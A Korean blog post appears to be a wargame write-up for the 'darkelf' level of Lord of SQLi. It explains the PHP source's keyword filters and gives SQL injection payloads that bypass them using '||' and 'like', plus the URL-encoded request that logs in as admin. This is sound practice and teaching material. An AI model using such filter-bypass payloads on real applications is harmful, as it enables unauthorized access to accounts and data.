티스토리 뷰
728x90
반응형
$_GET[pw]
PHP 소스코드 상으로는 pw를 GET 파라미터로 받는다고 합니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
그리고 pw 에 prob라는 단어가 포함되거나, _(언더바), .(온점), ((여는 괄호), )(닫는 괄호) 를 사용하는 것을 금지(필터링)하고 있습니다.
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
그리고 pw 에 추가로 대소문자 구별없이 or 과 and 문자열 사용도 금지(필터링)하고 있습니다.
$query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("darkelf");
query 변수에 GET 파라미터로 전달 받은 pw를 넣고, mysql 에 query를 실행했을 때 결과로부터 id가 admin일 때만 문제가 풀린다고 합니다.
해결방법은 간단합니다. 아래와 같이 guest의 pw 가 무엇이던 간에 id가 admin 이기만 하면 되게 만들어주면 됩니다.
select id from prob_darkelf where id='guest' and pw='asdf'||id='admin'#
select id from prob_darkelf where id='guest' and pw='asdf'||id like 'admin'#
그리고 위 where 절의 pw에 뒤에 부분을 URL 인코딩하여 URL에 넣어주면 문제는 해결됩니다.
https://los.rubiya.kr/chall/darkelf_1.php?pw=asdf%27||id=%27admin%27%23
728x90
반응형
'보안 > Wargame' 카테고리의 다른 글
[Lord of SQLi] troll Writeup/문제풀이 (0) | 2021.08.11 |
---|---|
[Lord of SQLi] orge Writeup/문제 풀이 (0) | 2021.08.11 |
[Hackthebox] - Toxic Writeup(문제풀이) (0) | 2021.08.09 |
[Hackthebox] - USB Ripper Writeup(문제풀이) (0) | 2021.08.03 |
[Hackthebox] - Illumination Writeup(문제풀이) (0) | 2021.08.03 |
댓글